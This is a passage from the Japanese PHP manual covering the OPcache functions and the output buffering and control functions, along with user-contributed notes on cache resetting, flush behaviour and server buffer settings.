    bool(true)
    ["opcache.enable_file_override"]=>
    bool(false)
    ["opcache.optimization_level"]=>
    int(4294967295)
  }
  ["version"]=>
  array(2) {
    ["version"]=>
    string(9) "7.0.4-dev"
    ["opcache_product_name"]=>
    string(12) "Zend OPcache"
  }
  ["blacklist"]=>
  array(0) {
  }
}


キャッシュについてのステータス情報を取得

  • ≪ opcache_get_configuration
  • opcache_invalidate ≫
  • PHP Manual
  • OPcache 関数
  • キャッシュについてのステータス情報を取得

opcache_get_status

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_get_status — キャッシュについてのステータス情報を取得

説明

opcache_get_status ( bool $include_scripts = true ) : array|false

この関数は、キャッシュ・インスタンスについてのステータス情報を返します。

パラメータ

include_scripts

スクリプト固有の状態の情報を含む。

返り値

情報の配列を返します。スクリプト固有の状態の情報をオプションで含みます、 失敗した場合に false を返します。

エラー / 例外

opcache.restrict_api を使用中で、 かつ現在のパスがルール違反の場合、 E_WARNING が発生します。 ステータス情報は返されません。

参考

  • opcache_get_configuration() - キャッシュについての構成情報を取得

User Contributed Notes

pascal dot landau at googlemail dot com 07-Feb-2017 11:04
If the opcache is disabled, this functions returns false.
marcus at synchromedia dot co dot uk 16-Sep-2014 09:11
Example output from this function:

array(8) {
  ["opcache_enabled"]=>
  bool(true)
  ["cache_full"]=>
  bool(false)
  ["restart_pending"]=>
  bool(false)
  ["restart_in_progress"]=>
  bool(false)
  ["memory_usage"]=>
  array(4) {
    ["used_memory"]=>
    int(10936144)
    ["free_memory"]=>
    int(123281584)
    ["wasted_memory"]=>
    int(0)
    ["current_wasted_percentage"]=>
    float(0)
  }
  ["interned_strings_usage"]=>
  array(4) {
    ["buffer_size"]=>
    int(8388608)
    ["used_memory"]=>
    int(458480)
    ["free_memory"]=>
    int(7930128)
    ["number_of_strings"]=>
    int(5056)
  }
  ["opcache_statistics"]=>
  array(13) {
    ["num_cached_scripts"]=>
    int(1)
    ["num_cached_keys"]=>
    int(2)
    ["max_cached_keys"]=>
    int(7963)
    ["hits"]=>
    int(0)
    ["start_time"]=>
    int(1410858101)
    ["last_restart_time"]=>
    int(0)
    ["oom_restarts"]=>
    int(0)
    ["hash_restarts"]=>
    int(0)
    ["manual_restarts"]=>
    int(0)
    ["misses"]=>
    int(1)
    ["blacklist_misses"]=>
    int(0)
    ["blacklist_miss_ratio"]=>
    float(0)
    ["opcache_hit_rate"]=>
    float(0)
  }
  ["scripts"]=>
  array(1) {
    ["/var/www/opcache.php"]=>
    array(6) {
      ["full_path"]=>
      string(17) "/var/www/opcache.php"
      ["hits"]=>
      int(0)
      ["memory_consumption"]=>
      int(1064)
      ["last_used"]=>
      string(24) "Tue Sep 16 09:01:41 2014"
      ["last_used_timestamp"]=>
      int(1410858101)
      ["timestamp"]=>
      int(1410858099)
    }
  }
}


キャッシュされたスクリプトを無効にする

  • ≪ opcache_get_status
  • opcache_is_script_cached ≫
  • PHP Manual
  • OPcache 関数
  • キャッシュされたスクリプトを無効にする

opcache_invalidate

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.0)

opcache_invalidate — キャッシュされたスクリプトを無効にする

説明

opcache_invalidate ( string $filename , bool $force = false ) : bool

この関数は opcode キャッシュのうち、特定のスクリプトを無効にします。 force パラメータが指定されていないか、 false の場合は、スクリプトの更新時刻が opcode キャッシュ時の更新時刻より新しい場合にだけ無効にします。

パラメータ

filename

無効にしたいスクリプトのパス

force

true にすると、無効にする必要があるかどうかに関わらずスクリプトは無効にされます。

返り値

filename の opcode キャッシュが無効にされたか、無効にする対象が存在しない場合は true を返します。 opcode キャッシュ機能そのものが無効にされている場合は false を返します。

参考

  • opcache_compile_file() - PHP スクリプトを、実行せずにコンパイルしてキャッシュする
  • opcache_reset() - opcode のキャッシュ内容をリセットする

User Contributed Notes

dmitry dot balabka at gmail dot com 21-Nov-2019 02:35
opcache_invalidate tries to acquire SHM lock. When the lock can not be acquired opcache_invalidate will return FALSE. During multiple concurrent opcache_invalidate calls with higher probability, the function will return FALSE.
kaare at colourbox dot com 18-Mar-2016 10:40
Note that invalidation doesn't actually evict anything from the cache, it just forces a recompile. You can verify this by calling opcache_get_status() and seeing that the invalidated script is not actually removed from "scripts". This means it cannot be used as a more graceful alternative to opcache_reset() when the cache is full ("cache_full":true in status). The cache will eventually fill up and refuse to cache new requests if you do atomic deployment of PHP code by changing the web server's document root. It appears opcache_reset() is the only way to prevent this, but opcache_reset() can disable the cache for any amount of time while attempting to restart, causing load spikes.
joel at taotesting dot com 22-Dec-2014 02:14
Beware that only existing files can be invalidated.

Instead of removing a file from opcache that you have delete, you need to call opcache_invalidate before deleting it.


スクリプトが OPCache にキャッシュされているかどうかを伝えます。

  • ≪ opcache_invalidate
  • opcache_reset ≫
  • PHP Manual
  • OPcache 関数
  • スクリプトが OPCache にキャッシュされているかどうかを伝えます。

opcache_is_script_cached

(PHP 5 >= 5.5.11, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.4)

opcache_is_script_cached — スクリプトが OPCache にキャッシュされているかどうかを伝えます。

説明

opcache_is_script_cached ( string $filename ) : bool

この関数は、PHP スクリプトが OPCache にキャッシュされているかチェックします。 これは、特定のスクリプトに対するキャッシュの "ウォーミング" をより簡単に検出するために使用できます。

パラメータ

filename

チェックされる PHP スクリプトへのパスです。

返り値

filename が OPCache にキャッシュされている場合、true を、 そうでなければ false を返します。

参考

  • opcache_compile_file() - PHP スクリプトを、実行せずにコンパイルしてキャッシュする

User Contributed Notes

There are no user contributed notes for this page.


opcode のキャッシュ内容をリセットする

  • ≪ opcache_is_script_cached
  • 出力制御 ≫
  • PHP Manual
  • OPcache 関数
  • opcode のキャッシュ内容をリセットする

opcache_reset

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.0)

opcache_reset — opcode のキャッシュ内容をリセットする

説明

opcache_reset ( ) : bool

この関数は、キャッシュされた opcode 全てをリセットします。opcache_reset() 関数が呼び出されると、次回ヒットする全てのスクリプトが再び読み込まれ、パースされます。

パラメータ

この関数にはパラメータはありません。

返り値

opcode のキャッシュがリセットさせた場合は true を返します。 opcode キャッシュが無効にされている場合は false を返します。

参考

  • opcache_invalidate() - キャッシュされたスクリプトを無効にする

User Contributed Notes

Jan 20-Jan-2020 03:02
For longer php scripts: opcache_reset() will obtain a lock and it will reset the cache only after the script has ended, after which the lock is released.

Calling opcache_reset() multiple times or any other opcache manipulation method, like opcache_invalidate(), after calling opcache_reset() in a single script is not useful: while opcache_reset() holds the lock, other opcache methods will return false and they will have zero effect on the cache.

Although the opcache manipulation methods have no effect during this lock, opcache does recache scripts corresponding to the opcache.revalidate_freq setting, provided that opcache.validate_timestamps is switched on.

To keep the cache up to date, use opcache_invalidate() when modifying single  php files. Use opcache_reset() for bigger changes and only at the end of a php script.
erutan409 at hotmail dot com 08-Nov-2018 04:57
So, I thought I'd share something that might benefit those looking for a way to reset opcache in CLI.

As an example in my case, I'm running a Laravel app with a router script with the built-in web server for local development.  I enabled opcache with the following run configuration:

/path/to/php.exe -d zend_extension=php_opcache.dll -d opcache.enable_cli=1 -d opcache.memory_consumption=128 -d opcache.max_accelerated_files=10000 -d opcache.validate_timestamps=0 -d opcache.save_comments=0 -t project_path/public/ server.php

This is basically what artisan serve is doing behind the scenes, anyway, except without the opcache part.

I have some file watchers setup to detect changes and executes the following upon said change(s):

/path/to/php.exe -d zend_extension=php_opcache.dll -d opcache.enable_cli=1 -r "opcache_reset();"

The key is ensuring that you're enabling opcache in CLI.  I've been using this for some time, so I can attest to this being a viable solution without needing to create a script to execute somewhere in the document root, etc.

I'm only referring to Laravel as an example of why I chose to explore options for solving this problem.  This should translate to any scenario a developer would need to utilize opcache in their project(s) while using the built-in web server.
Marsius777 19-Dec-2017 01:40
Run this to clear cache php -r 'opcache_reset();'
fbgolly at gmail dot com 11-Aug-2017 03:38
My workaround to clear cache via CLI is create a bash script like this:

#!/bin/bash
WEBDIR=/var/www/html/
RANDOM_NAME=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13)
echo "<?php opcache_reset(); ?>" > ${WEBDIR}${RANDOM_NAME}.php
curl http://localhost/${RANDOM_NAME}.php
rm ${WEBDIR}${RANDOM_NAME}.php

put it in /usr/local/bin/opcache-clear and make it executable.
When I want to clear cache I simply run "opcache-clear" inside terminal.
mike 13-Sep-2016 02:54
In some (most?) systems PHP's CLI has a separate opcode cache to the one used by the web server or PHP-FPM process, which means running opcache_reset() in the CLI won't reset the webserver/fpm opcode cache, and vice-versa.
Anonymous 08-Sep-2015 03:36
It should be mentioned that opcache_reset() does not reset cache when executed via cli.
So `php -r "var_dump(opcache_reset());"` outputs "true" but doesn't clean cache. Make file, access it via http - and cache is clean.
antoine dot vdsk at gmail dot com 29-Jul-2015 05:08
For people who have difficulties with constants and opcache_reset().
If you include a file with constant and do an opcache_reset() in the same file, you'll probably have some error like :

"Notice: Constant already defined"

The trick is to call opcache_reset() in an isolated file, then include another file that include the file with constants.

File a.php
<?php
opcache_reset();
include 'b.php'
?>

File b.php
<?php
include 'constants.php';
?>

File constants.php
<?php
define('MY_CONST', 'abcdef');
?>

With this trick, the opcache will be reset in a.php and when b.php will be included, the constants will not be in cache anymore.


出力バッファリング制御

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
    • 出力リライトの使用法
  • 出力制御 関数
    • flush — システム出力バッファをフラッシュする
    • ob_clean — 出力バッファをクリア(消去)する
    • ob_end_clean — 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする
    • ob_end_flush — 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする
    • ob_flush — 出力バッファをフラッシュ(送信)する
    • ob_get_clean — 現在のバッファの内容を取得し、出力バッファを削除する
    • ob_get_contents — 出力用バッファの内容を返す
    • ob_get_flush — 出力バッファをフラッシュし、その内容を文字列として返した後で出力バッファリングを終了する
    • ob_get_length — 出力バッファの長さを返す
    • ob_get_level — 出力バッファリング機構のネストレベルを返す
    • ob_get_status — 出力バッファのステータスを取得する
    • ob_gzhandler — 出力バッファを gzip 圧縮するための ob_start コールバック関数
    • ob_implicit_flush — 自動フラッシュをオンまたはオフにする
    • ob_list_handlers — 使用中の出力ハンドラの一覧を取得する
    • ob_start — 出力のバッファリングを有効にする
    • output_add_rewrite_var — URL リライタの値を追加する
    • output_reset_rewrite_vars — URL リライタの値をリセットする

User Contributed Notes

clancy hood at gmail dot com 11-Apr-2009 11:33
The manual is a little shy on explaining that output buffers are nested, and that "turns off output buffering" means turning off the highest nested buffer.  See ob_get_level (for a useful function, but still no explanation)

<?php
    ob_start();
    echo "1:blah\n";
    ob_start();
    echo "2:blah";
    // ob_get_clean() returns the contents of the last buffer opened.  The first "blah" and the output of var_dump are flushed from the top buffer on exit
    var_dump(ob_get_clean());
    exit;
?>

puts:
    1:blah
    string(6) "2:blah"

Prior to realising this, I had thought PHP's ob functionality left more to be desired.  I *really* wish I knew earlier.


はじめに

出力制御関数により、スクリプトから送信される出力を制御することが可 能になります。この機能は、複数の異なった場面、特にスクリプトがデー タ出力を開始した後にヘッダをブラウザに送信する必要がある場合に有用 です。出力制御関数は、header() または setcookie()を使用して送信されたヘッダには作用せ ず、echo のような関数とPHPコードのブロック間 のデータにのみ作用します。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

出力制御設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
output_buffering | "0" | PHP_INI_PERDIR |
output_handler | NULL | PHP_INI_PERDIR |
implicit_flush | "0" | PHP_INI_ALL |
url_rewriter.tags | "a=href,area=href,frame=src,form=,fieldset=" | PHP_INI_ALL | PHP 7.1.0 より前のバージョンでは、これを用いて 透過的セッションIDのリライトを設定していました。PHP 7.1.0 以降では、これは output_add_rewrite_var() でだけ用いられます。
url_rewriter.hosts | $_SERVER['HTTP_HOST'] | PHP_INI_ALL | PHP 7.1.0 以降で使用可能です。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

output_buffering bool/int

このディレクティブを 'On' と設定することにより、全てのファイルに 関して出力バッファリングを有効にすることができます。 特定の大きさにバッファの大きさを制限したい場合、このディレクティブの 値として 'On' の代わりに最大バイト数(例:output_buffering=4096) を使用することができます。 PHP-CLI ではこのディレクティブが常に Off となります。

output_handler string

スクリプトの全ての出力を関数にリダイレクトすることができます。 例えば、output_handler に mb_output_handler() を指定した場合、文字エンコーディングは透過的に指定したエンコーディングに 変換されます。出力ハンドラを指定することにより自動的に出力 バッファリングを on にします。

注意:

ob_iconv_handler() と mb_output_handler() の両方で使用することは できません。また、 ob_gzhandler() と zlib.output_compression の両方を使用することはできません。

注意:

このディレクティブには、組み込み関数のみが使用可能です。ユーザー定義の 関数については、ob_start() を使用してください。

implicit_flush bool

デフォルトは false です。これを true に変更すると、PHP が 各出力ブロックの後で自動的に出力レイヤをフラッシュするよう 指定します。これは、各 print あるいは echo そして HTML ブロックの後で flush() 関数をコールすることと等価です。

Web 環境の中で PHP を使用している時に このオプションを on に変更すると、著しい性能低下が生じるため、 通常はデバッグ目的のみにすることが推奨されます。CLI SAPI のもとで実行される時、この値はデフォルトで true になっています。

ob_implicit_flush() も参照ください。

url_rewriter.tags string
url_rewriter.tags は、 output_add_rewrite_var() でどの HTML タグをリライトするかを指定します。 デフォルトは a=href,area=href,frame=src,input=src,form= です。 form は特別なタグです。<input hidden="session_id" name="session_name"> が form 変数に追加されます。

注意: PHP 7.1.0 より前のバージョンでは、url_rewriter.tags は session.trans_sid_tags のを指定するために使われていました。 PHP 7.1.0 以降は、fieldset は特別なタグとはみなされなくなります。

url_rewriter.hosts string
url_rewriter.hosts は、 output_add_rewrite_var() に含めるリライト対象のホストを指定します。 デフォルトは $_SERVER['HTTP_HOST'] です。 複数のホストを指定する場合は "," でつなぎます。その際に、ホストとホストの間にスペースを入れてはいけません。つまり、 php.net,wiki.php.net,bugs.php.net のように指定します。

User Contributed Notes

support at losalgendesign dot com 09-Aug-2013 04:46
Using "OFF" or no value on output_buffering will disable header modifications, like redirects or content-type or content-disposition resulting in the error we commonly attribute to output before header modifications:

Warning: Cannot modify header information - headers already sent by (output started at C:\PATH\filename.php:1) C:\PATH\filename.php on line 1

Example code with output_buffering = OFF which results in this behavior.  Changing it to "ON" or giving it a value will likely cause normal behavior.

<?php header("Location: http://www.php.net"); ?>

or

<?php header("Content-Type: text/Calendar"); ?>
<?php header("Content-Disposition: inline; filename=appointment.ics"); ?>


定義済み定数

以下の定数は、PHP コアに含まれており、常に利用可能です。

PHP_OUTPUT_HANDLER_START (int)

出力バッファリングが始まったことを表します。

PHP_OUTPUT_HANDLER_WRITE (int)

出力バッファがフラッシュされ、データが出力されたことを表します。

PHP 5.4 以降で利用可能です。

PHP_OUTPUT_HANDLER_FLUSH (int)

バッファがフラッシュされたことを表します。

PHP 5.4 以降で利用可能です。

PHP_OUTPUT_HANDLER_CLEAN (int)

出力バッファが消去されたことを表します。

PHP 5.4 以降で利用可能です。

PHP_OUTPUT_HANDLER_FINAL (int)

出力バッファリングの最終操作であることを表します。

PHP 5.4 以降で利用可能です。

PHP_OUTPUT_HANDLER_CONT (int)

バッファはフラッシュされたけれども、出力バッファリングはまだ続くことを表します。

PHP 5.4 の時点では、これは PHP_OUTPUT_HANDLER_WRITE のエイリアスです。

PHP_OUTPUT_HANDLER_END (int)

出力バッファリングが終わったことを表します。

PHP 5.4 の時点では、これは PHP_OUTPUT_HANDLER_FINAL のエイリアスです。

PHP_OUTPUT_HANDLER_CLEANABLE (int)

ob_start() が作る出力バッファをクリーンできるかどうかを設定します。

PHP 5.4 以降で利用可能です。

PHP_OUTPUT_HANDLER_FLUSHABLE (int)

ob_start() が作る出力バッファをフラッシュできるかどうかを設定します。

PHP 5.4 以降で利用可能です。

PHP_OUTPUT_HANDLER_REMOVABLE (int)

ob_start() が作る出力バッファをスクリプトの終了前に削除できるかどうかを設定します。

PHP 5.4 以降で利用可能です。

PHP_OUTPUT_HANDLER_STDFLAGS (int)

出力バッファのフラグのデフォルト設定。 PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE と同等です。

PHP 5.4 以降で利用可能です。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • 基本的な使用法
  • 出力リライトの使用法

User Contributed Notes

There are no user contributed notes for this page.


基本的な使用法

例1 出力制御の例

<?php

ob_start();
echo "Hello\n";

setcookie("cookiename", "cookiedata");

ob_end_flush();

?>

上記の例では、echo からの出力は、 ob_end_flush() がコールされるまで出力バッファに 保存されます。この際、 setcookie()をコールするとエラーを発生することな くクッキーが保存されます (通常、データの送信後はブラウザにヘッダ を送信することはできません)。

User Contributed Notes

dario dot cangialosi at gmail dot com 25-Feb-2019 01:40
<?php
function  ob($function){
ob_start();
$function();
$produced = ob_get_contents();
ob_end_clean();
return $produced;
}
echo ob(function(){echo 123;})=='123'?"echo captured\n":'';


出力リライトの使用法

PHP 7.1.0 以降は、output_add_rewrite_var() と output_reset_rewrite_vars() は専用の出力バッファを用いるようになります。透過的セッションID の出力バッファは用いません。

例1 出力リライトの例

<?php
// このコードは PHP 7.1.0, 7.0.10, 5.6.25 以降で動作します

// HTTP_HOST はデフォルトのターゲットホストです。適切に書き換えてください
$_SERVER['HTTP_HOST'] = 'php.net';

// 出力リライトはフォームだけを書き換えます。a=href を追加します。
// タグは tag_name=url_attr 形式で指定します。たとえば img=src,iframe=src のようになります。
// 各設定の間にスペースを含めることはできません。
// form タグは特別なタグで、hidden を追加します。
ini_set('url_rewriter.tags','a=href,form=');
var_dump(ini_get('url_rewriter.tags'));

// これが URL と form に追加されます
output_add_rewrite_var('test', 'value');
?>
<a href="//php.net/index.php?bug=1234">bug1234</a>
<form action="https://php.net/?bug=1234&edit=1" action="post">
 <input type="text" name="title" />
</form>

上の例の出力は以下となります。

<a href="//php.net/?bug=1234&test=value">bug1234</a>
<form action="https://php.net/?bug=1234&edit=1" method="post"><input type="hidden" name="test" value="value" />
 <input type="text" name="title" />
</form>

PHP 7.1.0 以降、出力リライトにはそれ専用の INI 項目が用意されるようになりました。 url_rewriter.tags と url_rewriter.hosts です。

User Contributed Notes

There are no user contributed notes for this page.


出力制御 関数

参考

header()およびsetcookie() も参照ください。

目次

  • flush — システム出力バッファをフラッシュする
  • ob_clean — 出力バッファをクリア(消去)する
  • ob_end_clean — 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする
  • ob_end_flush — 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする
  • ob_flush — 出力バッファをフラッシュ(送信)する
  • ob_get_clean — 現在のバッファの内容を取得し、出力バッファを削除する
  • ob_get_contents — 出力用バッファの内容を返す
  • ob_get_flush — 出力バッファをフラッシュし、その内容を文字列として返した後で出力バッファリングを終了する
  • ob_get_length — 出力バッファの長さを返す
  • ob_get_level — 出力バッファリング機構のネストレベルを返す
  • ob_get_status — 出力バッファのステータスを取得する
  • ob_gzhandler — 出力バッファを gzip 圧縮するための ob_start コールバック関数
  • ob_implicit_flush — 自動フラッシュをオンまたはオフにする
  • ob_list_handlers — 使用中の出力ハンドラの一覧を取得する
  • ob_start — 出力のバッファリングを有効にする
  • output_add_rewrite_var — URL リライタの値を追加する
  • output_reset_rewrite_vars — URL リライタの値をリセットする

User Contributed Notes

Attila Houtkooper 13-Jun-2015 07:10
Take care to take exceptions in the code in mind when using ob_start and ob_get_contents. If you do not do this, the number of calls to ob_start will not match those to ob_end and you're not gonna have a good time.

<?php
public function requireIntoVariable($path) {
    ob_start();

    try {
        require $path;
    } catch (Exception $e) {
        ob_end_clean();
        throw $e;
    }

    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}
?>
Anonymous 20-Apr-2009 12:24
You possibly also want to end your benchmark after the output is flushed.

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

                              <----------
echo your_benchmark_end_function();      |
ob_end_flush (); ------------------------
?>
della at sun dot com 25-Nov-2008 01:08
Sometimes users are blaming about slow pages ... not being aware that mostly this is due to network issues.
So I've decided to add some statistics at the end of my pages:

At beginning I start the counters:

<?php
  function microtime_float() {
    if (version_compare(PHP_VERSION, '5.0.0', '>'))  return microtime(true);
    list($u,$s)=explode(' ',microtime()); return ((float)$u+(float)$s);
  }
  $initime=microtime_float();
  ob_start();
  ob_implicit_flush();
?>

And at the end I show the statistics:

<?php
  echo "PHP Time: ".round((microtime_float()-$initime)*1000)." msecs. ";
  echo "Size: ".round_byte(strlen(ob_get_contents()));
  ob_end_flush();
?>

(round_byte is my function to print byte sizes)
jgeewax a t gmail 29-Jun-2007 07:02
It seems that while using output buffering, an included file which calls die() before the output buffer is closed is flushed rather than cleaned. That is, ob_end_flush() is called by default.

<?php
// a.php (this file should never display anything)
ob_start();
include('b.php');
ob_end_clean();
?>

<?php
// b.php
print "b";
die();
?>

This ends up printing "b" rather than nothing as ob_end_flush() is called instead of ob_end_clean(). That is, die() flushes the buffer rather than cleans it. This took me a while to determine what was causing the flush, so I thought I'd share.
basicartsstudios at hotmail dot com 21-Jan-2007 10:39
Sometimes you might not want to include a php-file under the specifications defined in the functions include() or require(), but you might want to have in return the string that the script in the file "echoes".

Include() and require() both directly put out the evaluated code.

For avoiding this, try output-buffering:
<?php
ob_start();
eval(file_get_contents($file));
$result = ob_get_contents();
ob_end_clean();
?>
or
<?php
ob_start();
include($file);
$result = ob_get_contents();
ob_end_clean();
?>
which i consider the same, correct me if I'm wrong.

Best regards, BasicArtsStudios
trucex [um, at] gmail [um, dot] com 16-Sep-2006 02:08
Unfortunately, the PHP guys didn't build support into any of the image output functions to return the image instead of outputting it.

Fortunately, we have output buffering to fix that.

<?php

$im = imagecreatetruecolor(200, 200);

// Other image functions here...

ob_start();
imagepng($im);
$imageData = ob_get_contents();
ob_clean();

?>

You can now use the $imageData variable to either create another GD image, save it, put it in a database, make modifications to the binary, or output it to the user. You can easily check the size of it as well without having to access the disk...just use strlen();
webmaster at wistex dot com 07-Sep-2006 04:07
Now this just blew my mind. I had a problem with MySQL being incredibly slow on Windows 2003 running IIS... on ASP/VBScript pages. PHP is also installed on the server and so is Microsoft SQL 2005 Express. (Yes, we're running ASP, PHP, MySQL and MS SQL on the same Windows 2003 Server using IIS.)

I was browsing the internet for a solution and saw a suggestion that I change output_buffering to on if MySQL was slow for PHP pages.  Since we also served PHP pages with MySQL from the same server, it caught my eye.  For the hell of it, I went into php.ini and changed output_buffering to on and suddenly MySQL and ASP was faster... MySQL and PHP was faster... Microsoft SQL Server 2005 Express and ASP was faster.... everything was faster... even stuff that had no PHP!

And I didn't even have to restart IIS. As soon as I saved the php.ini file with the change, everything got faster.

Apparently PHP and MySQL and IIS are so intertwined somehow that changing the buffering setting really effects the performance of the entire server.

So, if you are having performance problems on Windows 2003 & IIS, you might try setting output_buffering = On in php.ini if you happen to have PHP installed.  Having it set to off apparently effects the performance of Windows 2003 and IIS severely... even for webpages that do not use PHP or MySQL.
kamermans at teratechnologies dot net 21-Aug-2006 01:30
Output buffering is set to '4096' instead of 'Off' or '0' by default in the php-5.0.4-10.5 RPM for Fedora Core release 4 (Stentz).  This has cost me much time!
kend52 at verizon dot net 23-Jun-2005 11:25
I ran out of memory, while output buffering and drawing text on imported images. Only the top portion of the 5MP image was displayed by the browser.  Try increasing the memory limit in either the php.ini file( memory_limit = 16M; ) or in the .htaccess file( php_value memory_limit "16M" ). Also see function memory_get_usage() .
gruik at libertysurf dot fr 10-Jul-2004 05:53
For those who are looking for optimization, try using buffered output.

I noticed that an output function call (i.e echo()) is somehow time expensive. When using buffered output, only one output function call is made and it seems to be much faster.
Try this :

<?php
your_benchmark_start_function();

for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
?>

And then :

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
ob_end_flush ();
?>


システム出力バッファをフラッシュする

  • ≪ 出力制御 関数
  • ob_clean ≫
  • PHP Manual
  • 出力制御 関数
  • システム出力バッファをフラッシュする

flush

(PHP 4, PHP 5, PHP 7, PHP 8)

flush — システム出力バッファをフラッシュする

説明

flush ( ) : void

PHP および PHP が使っている (CGI, Web サーバーなどの) バックエンドのシステム書き込みバッファをフラッシュします。 それまでのすべての出力をユーザーのブラウザに対して出力しようと試みますが、 注意すべき点があります。

flush() はウェブサーバーのバッファリング手法を上書きすることはできません。 また、クライアント側のブラウザでのバッファリングにはなんの影響も及ぼしません。 PHP のユーザーレベルでの出力バッファリングの仕組みにも影響を及ぼしません。 つまり、flush() と ob_flush() を両方使っている場合は、 ob_flush() を先に呼び出さなければならないということです。

いくつかのサーバー、特に Win32 上ではスクリプトからの出力をブラウザに 結果を送信する前にスクリプトが終了するまでバッファに溜めることがあります。

mod_gzip のような Apache 用のサーバーモジュールはそれ自体がバッファリングを行います。 そのため、flush() をコールしても 即時にデータをクライアントに送信しないという結果につながります。

ブラウザ側で表示前に入力をバッファリングすることもあり得ます。 Netscape では例えば改行または開始タグを受信するまでテキストは バッファリングされ、最も外側のテーブルの </table> タグが現れるまでテーブルは描画されません。

いくつかのバージョンの Microsoft Internet Explorer は、256 バイトの 出力を受けてからページを表示し始めます。このため、これらのブラウザに ページを表示させるには、フラッシュする前に余分な空白を送信する 必要があるかもしれません。

返り値

値を返しません。

参考

  • ob_flush() - 出力バッファをフラッシュ(送信)する
  • ob_clean() - 出力バッファをクリア(消去)する
  • ob_end_flush() - 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする
  • ob_end_clean() - 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする

User Contributed Notes

fran at fran dot cr 28-Aug-2020 03:29
If you want to make flush work when using php-fpm from Apache httpd with mod_proxy_fcgi, since 2.4.31 you can append flushpackets=on to enable flushing, which is instant by default, and and flushwait=n where n is in milliseconds to delay the flushing time for performance seconds.

These values can be appended to the <Proxy> directive, e.g. <Proxy "fcgi://localhost/" flushpackets=on flushwait=500> or in ProxyPass and ProxyPassMatch lines.

The mod_proxy_fcgi documentation for 2.4 does not document this, but it is available in the 2.5 or trunk documentation.
glafarge 27-Mar-2020 06:20
When using PHP with mode CGI/FastCGI there is a new buffer (initiated by mod_fcgid with a default size of 65536 bytes). That causes `flush()` and `ob_flush()` not working as expected with implicit_flush(true).
Setting "OutputBufferSize 0" in mod_fcgid config resolves the issue.
Hope it helps !
Anonymous 07-Aug-2019 06:28
Regarding buffering by browser you can use:

$out=str_pad($yourMessage.'<br/>',1024);
print($out);
ob_flush();
flush();

Works for me in Firefox 60 ESR.
php nospace juju ta ggooggle mail 06-Oct-2015 10:53
combining some ideas i was finally able to get a long running script to give me real time feedback on what it was doing.  this was a wamp setup with php running as cgi.  i'm pretty sure that apache just wasn't sending any of the buffered output because it was trying to be helpful. also trying to be helpful, i hope this example solution helps someone.

<?php
// thx mandor at mandor
ini_set('max_execution_time', 0);
ini_set('implicit_flush', 1);
ob_implicit_flush(1);

echo 'doing something';  my_flush();
sleep(5);
echo 'doing something else'; my_flush();
sleep(5);
echo 'finally done - hooray';

function my_flush() {
  // following matt at hevanet's lead
  for ($i=0;$i<10000;$i++) echo ' ';
  ob_flush();
  flush();
}
ohcc at 163 dot com 10-Jan-2015 07:04
Try to add more white spaces if your ob_flush() and flush() don't work, especially under NGINX.
However, too many white spaces can be a challenge to your web browser.
<?php
    ob_clean();
    while(true){
        echo str_repeat(' ',1024*1024*4);
        echo 'hello, world ...<br />';
        ob_flush();
        flush();
        usleep(1000);
    }
php at stelio dot net 01-Oct-2013 11:26
For a Windows system using IIS, the ResponseBufferLimit takes precedence over PHP's output_buffering settings. So you must also set the ResponseBufferLimit to be something lower than its default value.

For IIS versions older than 7, the setting can be found in the %windir%\System32\inetsrv\fcgiext.ini file (the FastCGI config file). You can set the appropriate line to:
  ResponseBufferLimit=0

For IIS 7+, the settings are stored in %windir%\System32\inetsrv\config. Edit the applicationHost.config file and search for PHP_via_FastCGI (assuming that you have installed PHP as a FastCGI module, as per the installation instructions, with the name PHP_via_FastCGI). Within the add tag, place the following setting at the end:
  responseBufferLimit="0"
So the entire line will look something like:
  <add name="PHP_via_FastCGI" path="*.php" verb="*" modules="FastCgiModule" scriptProcessor="C:\PHP\php-cgi.exe" resourceType="Either" responseBufferLimit="0" />
Alternatively you can insert the setting using the following command:
  %windir%\system32\inetsrv\appcmd.exe set config /section:handlers "/[name='PHP_via_FastCGI'].ResponseBufferLimit:0"
Kris 29-Jun-2012 01:19
I had a bunch of problems trying to get flush working on my windows box, I finally found a solution after reading everyones here and it not working.

1) Set output_buffering = 0
2) Set zlib.output_compression = 0

I then used Wireshark to monitor network packets, and indeed the server was pusing the data, but the browser was not displaying it.. So it was a browser buffer issue (I am on Firefox 13)

For me I needed to send about 1k of data before it would display the data. To do this I added more header information..
 In php.ini I set default_charset = "utf-8"
And that was enough to give me enough for the buffer issue.

You can also try doing
echo str_repeat(" ", 1024), "\n";
at the start of the script.

hope this helps
seb dot field at gmail dot com 18-Sep-2010 03:52
If flush() function does not work. You must set next options in php.ini like:

--[code]--
 output_buffering = Off
 ;output_handler =
 zlib.output_compression = Off
 ;zlib.output_handler =
--[^code^]--

If things does not work you must view headers from the server and check `Server` string.
